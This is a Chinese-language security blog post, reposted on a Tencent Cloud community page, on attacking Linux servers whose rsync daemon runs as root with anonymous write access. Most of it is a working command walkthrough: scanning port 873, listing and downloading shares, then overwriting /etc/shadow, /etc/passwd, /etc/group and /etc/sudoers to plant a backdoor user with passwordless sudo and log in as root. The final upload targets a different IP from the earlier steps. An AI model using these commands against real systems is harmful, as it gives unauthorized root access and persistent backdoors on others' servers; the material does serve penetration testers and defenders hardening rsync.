专栏首页Khan安全团队浅谈利用rsync服务的攻击

浅谈利用rsync服务的攻击

本文将根据针对Linux操作系统上不安全的Rsync配置,浅谈如何利用rsync服务进行攻击。

1、什么是RSYNC?

Rsync是用于在两个服务器(通常是Linux)之间传输和同步文件的实用程序。它通过检查文件大小和时间戳来确定同步。根据经验发现,在进行渗透测试期间,发现约有三分之一的服务器并没有安全配置Rsync。然而,弱配置通常会导致服务器上的敏感数据未经授权访问,甚至还会让攻击者活动webshell。

远程访问通过Rsync共享的目录需要两件事,文件共享访问和文件权限。

Rsync的配置方式如下:

1. 可以在/etc/Rsyncd.conf中定义“ 文件共享访问”, 以提供匿名或经过身份验证的访问。

2.还可以通过定义rsync服务将以其身份运行的用户,在/etc/rsyncd.conf中定义文件访问权限。如果将rsync配置为以root用户身份运行,则允许连接的任何人都可以使用root用户的特权来访问共享文件。

rsyncd.conf文件的示例,该文件允许匿名root用户访问整个文件系统:

motd file = /etc/Rsyncd.motd
lock file = /var/run/Rsync.lock
log file = /var/log/Rsyncd.log
pid file = /var/run/Rsyncd.pid
[files]
path = /
comment = Remote file share.
uid = 0
gid = 0
read only = no
list = yes

2、对目标站点进行nmap扫描rsync服务

rsync服务默认在873端口监听。通过nmap发现开启rsync服务

nmap 10.10.10.134

列举目录和文件

列举目录
    rsync 10.10.10.134
    列举子目录内容
    rsync 10.10.10.134::files
    递归列出目录和文件
    rsync -r 10.10.10.134::files/tmp/
    下载文件夹
    rsync -r 10.10.10.134::files/home/test/
    通过RSYNC上传文件
    使用Rsync上传文件的命令。。
    上传文件
    rsync ./myfile.txt 10.10.10.134::files/home/test
    上载文件夹
    rsync -r ./myfolder 10.10.10.134::files/home/test
    通过Rsync创建新用户

如果rsync配置为以root身份运行并且可以匿名访问,则可以通过直接修改shadow,passwd,group和sudoers文件来创建新的特权Linux用户。

注意:相同的通用方法可用于提供对操作系统的完全写入访问权限的任何漏洞。其他一些示例包括NFS导出和上载以root用户身份运行的Web Shell。

通过rsync创建新用户

创建主目录让我们从创建新用户的主目录开始。

# Create local work directories
mkdir demo
mkdir backup
cd demo
 
# Create new user’s home directory
mkdir ./myuser
rsync -r ./myuser 10.10.10.134::files/home

shadow文件

/etc /shadow文件是Linux密码文件,其中包含用户信息,例如主目录和加密密码。它只能由root访问。

要通过rsync注入新的用户,必须:

1. 生成密码。

2. 下载/ etc / shadow。(备份)

3. 将新用户追加到/ etc /shadow的末尾

4. 上传/覆盖现有的/ etc /shadow

注意:确保创建系统上新用户。

创建加密密码:

openssl passwd -crypt password123
将新用户条目添加到/ etc / shadow:
rsync -R 10.10.10.134::files/etc/shadow .
cp ./etc/shadow ../backup
echo "myuser:MjHKz4C0Z0VCI:17861:0:99999:7:::" >> ./etc/shadow
rsync ./etc/shadow 10.10.10.134::files/etc/

passwd文件

/ etc / passwd文件用于跟踪有权访问系统的注册用户。它不包含加密的密码。所有用户都可以阅读。

要通过rsync注入新的用户条目,您必须:

1. 创建要注入的用户条目。

2. 下载/ etc / passwd。(并备份它,以便以后可以恢复状态)

3. 将新用户条目追加到passwd的末尾。

4. 上传/覆盖现有的/ etc / passwd

注意:可以随意更改为uid,但请确保它与/ etc / group文件中设置的值匹配。在这种情况下,UID / GUID为1021。

将新用户条目添加到/ etc / passwd:
rsync -R 10.10.10.134::files/etc/passwd .
cp ./etc/passwd ../backup
echo "myuser:x:1021:1021::/home/myuser:/bin/bash" >> ./etc/passwd
rsync ./etc/passwd 10.10.10.134::files/etc/

将新用户添加到用户组当中

/ etc / group文件用于跟踪系统上已注册的组信息。它不包含加密的密码。所有用户都可以阅读。

要通过rsync注入新的用户条目,您必须:

1. 创建要注入的用户条目。

2. 下载/ etc / group。(和备份,以防万一)

3. 将新用户条目追加到组末尾。

4. 上传/覆盖现有的/ etc / group文件。

注意:可以随意更改为uid,但请确保它与/ etc / passwd文件中设置的值匹配。在这种情况下,UID / GUID为1021。将新用户条目添加到/ etc / group:

rsync -R 10.10.10.134::files/etc/group .
cp ./etc/group ../backup
echo "myuser:x:1021:" >> ./etc/group
rsync ./etc/group 10.10.10.134::files/etc/

创建sudoers

文件目录/ etc / sudoers文件包含允许使用sudo命令以root用户身份运行命令的用户列表。它只能由root读取。我们将对其进行修改,以允许新用户通过sudo执行任何命令。

要通过rsync注入条目,前提条件:

1. 创建要注入的用户条目。

2. 下载/ etc / sudoers。(和备份,以防万一)

3. 将新用户条目追加到sudoers的末尾。

4. 上传/覆盖现有的/ etc / sudoers文件。

将新用户条目添加到/ etc / sudoers:

rsync -R 10.10.10.134::files/etc/sudoers .
cp ./etc/sudoers ../backup
echo "myuser ALL=(ALL) NOPASSWD:ALL" >> ./etc/sudoers   
rsync ./etc/sudoers 192.168.1.171::files/etc/

然后,只需使用新创建的用户通过SSH连接,执行sudo root就完成了。


手握日月摘星辰,安全路上永不止步。

- Khan攻防安全实验室

本文分享自微信公众号 - Khan安全团队(KhanCJSH),作者:Hao

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-04-04

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • SSRF(服务器请求伪造)

    SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下...

    Aran
  • 漏洞讲解之文件包含

    通过函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

    Aran
  • Xctf攻防世界-Misc基础题攻略

    攻防世界答题模块是一款提升个人信息安全水平的益智趣味答题,用户可任意选择题目类型进行答题。

    Aran
  • Linux系统部分主要目录或文件汇总

    醉生萌死
  • Centos学习笔记--linux用户管理

    版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csd...

    用户1539362
  • Ubuntu系统微调

    本章讲述了基本的基于命令行界面的系统配置方法。在学习本章前,你需要先阅读 Ubuntu 系统安装提示, 第 3 章.

    一见
  • Linux之day7 打包压缩与搜索命令

    心跳包
  • 企业架构规划及服务器优化参数

    第1章 企业架构规划 1.1 架构图 ? 1.1.1 用户访问网站组成 类型 作用 实现方式 顾客-用户 访问网站的人员 ...

    惨绿少年
  • linux服务器 云虚拟主机基础安全设置

    日常工作中有很多人会问,我买了阿里云的主机 买了腾讯 百度 的虚拟云主机,是不是就什么都不用做,直接用就行。这里说明一点,不是的主机提供商只是提供最基础的安全防...

    zhangdd
  • 如何在Ubuntu 14.04上设置Masterless Puppet环境

    在现代云计算领域,配置管理是至关重要的一步。配置管理工具允许您可靠地将配置部署到服务器。Puppet是这个领域中比较成熟的配置管理工具之一。

    何处惹尘埃

扫码关注云+社区

领取腾讯云代金券